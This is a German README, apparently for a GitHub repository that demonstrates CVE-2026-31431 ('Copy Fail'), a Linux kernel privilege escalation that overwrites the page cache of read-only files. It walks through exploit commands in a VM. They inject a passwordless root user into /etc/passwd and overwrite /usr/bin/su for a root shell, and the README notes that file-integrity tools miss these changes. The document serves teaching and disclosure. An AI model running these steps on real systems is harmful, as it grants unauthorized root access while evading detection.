
A demo and explanation of CVE-2026-31431
Eine Demonstration und Erklärung von CVE-2026-31431, der Schwachstelle zur lokalen Privilegieneskalation im Linux-Kernel namens Copy Fail. Die Schwachstelle ermöglicht es, dass Daten in Dateien, die mit Leserechten geöffnet wurden, im Page Cache überschrieben werden können.
Dieses Repository dient ausschließlich Bildungszwecken und veranschaulicht die Schwachstelle in einer kontrollierten Umgebung. Die enthaltenen Dateien sind:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
Die Schwachstelle namens Copy Fail ist in Linux-Kernels von 2017 bis 2026 aufgrund eines logischen Fehlers in algif_aead vorhanden. Ihr wurde die CVE-Nummer CVE-2026-31431 mit einem CVSS-Score von 7,8 zugewiesen, was zu einer hohen Schweregradeinstufung führt. Der Exploit ist deterministisch und kann herkömmliche Tools zur Dateiintegritätsüberwachung umgehen.
Proof-of-Concepts wurden in verschiedenen Sprachen veröffentlicht, darunter C, Python und Go. Für diese Demonstration wird jedoch Python verwendet und erfordert Python-Version 3.10 oder höher. Dieser Exploit erfordert die lokale Codeausführung als unprivilegierter Benutzer und kann zur lokalen Privilegieneskalation verwendet werden.
Die folgenden Abschnitte sind:
Stellen Sie sicher, dass Vagrant und QEMU installiert sind. Klonen Sie dann dieses Repository und navigieren Sie zum Projektverzeichnis.
vagrant up
vagrant ssh
Innerhalb der VM können wir die Grenzen unserer Fähigkeiten testen.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Wir sind offensichtlich in unseren Fähigkeiten eingeschränkt, können aber die Schwachstelle nutzen, um Privilegien zu eskalieren.
Um die Schwachstelle zu verstehen, überschreiben wir eine Dummy-Datei und sehen, was passiert.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Wir haben eine Datei mit drei Zeilen. Die erste Zeile ist 6 Bytes lang (Zeilenumbruch eingeschlossen), die zweite Zeile ist 2 Bytes und die dritte Zeile ist ein einzelnes Byte. Dies ist wichtig, da der Exploit Daten in 4-Byte-Blöcken überschreibt und wir den Payload auffüllen, um ihn auszufüllen.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Wir können sehen, dass wir die ersten 8 Bytes der Datei durch unseren Payload ersetzt haben. Es gibt zwei Zeichen, die vorhanden, aber nicht druckbar sind. Öffnen Sie die Datei in nano, um es zu überprüfen.
Aber das ist nicht allzu aufregend, also schreiben wir nun in Dateien, für die wir keine Schreibberechtigung haben.
Wir können den Inhalt von /etc/passwd überschreiben, um einen Benutzer mit Root-Rechten, aber ohne Passwort hinzuzufügen.
cat /etc/passwd
Die erste Zeile enthält den Root-Benutzer und besteht aus 8 Gruppen zu je 4 Zeichen (einschließlich Zeilenumbruch). Sie ist wie folgt formatiert: root:x:0:0:root:/root:/bin/bash, und die Werte beziehen sich auf Benutzername, Passwort, UID, GID, Home-Verzeichnis, Shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Wir haben einen neuen Benutzer hackd mit UID 0 und GID 0 hinzugefügt, was bedeutet, dass er Root-Rechte hat. Das Passwortfeld ist leer, sodass wir uns ohne Passwort anmelden können.
su hackd
id
cat /etc/shadow
Im ursprünglichen Exploit wird die Binärdatei /usr/bin/su mit Anweisungen zur Ausführung einer Shell überschrieben, sodass der Angreifer beim Ausführen von su Root-Rechte erlangen kann. Wir können diesen Exploit nachbilden, indem wir /usr/bin/su mit dem ursprünglichen Payload aus einer Datei anvisieren.
Beachten Sie, dass dies die su-Binärdatei in diesem Page Cache zerstört.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Mit dem eingespielten Payload können wir su ausführen und Root-Rechte erlangen. Dies öffnet eine Shell mit Benutzer-ID 0, was normalerweise der Root-Benutzer ist. Falls die obige Demo durchgeführt wurde, wäre es der von uns erstellte Benutzer hackd. Dieser Exploit würde eine Shell öffnen, selbst wenn der Benutzer root ein Passwort hat.
su
id
Dieser Exploit modifiziert nicht die Datei auf der Festplatte, sondern den Page-Cache-Zustand. Infolgedessen erkennen herkömmliche Tools zur Dateiintegritätsüberwachung, die Änderungen an Dateien auf der Festplatte prüfen, diesen Exploit nicht.
Um dies zu demonstrieren, führen Sie den/die obigen Exploit(s) aus und überprüfen Sie nach einem Neustart der VM den Inhalt der Zieldatei.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
Die folgenden Komponenten werden im Exploit verwendet:
AD||CT||TAGTAG kopiertseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loDer Commit, der die In-Place-Optimierung ermöglichte, die diese Schwachstelle schuf:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
Der Patch wurde ohne öffentliche Ankündigungen erstellt und entfernt die Funktionalität der In-Place-Operation in algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Weiterlesen:
Python-Implementierungen
C-Implementierungen
Go-Implementierungen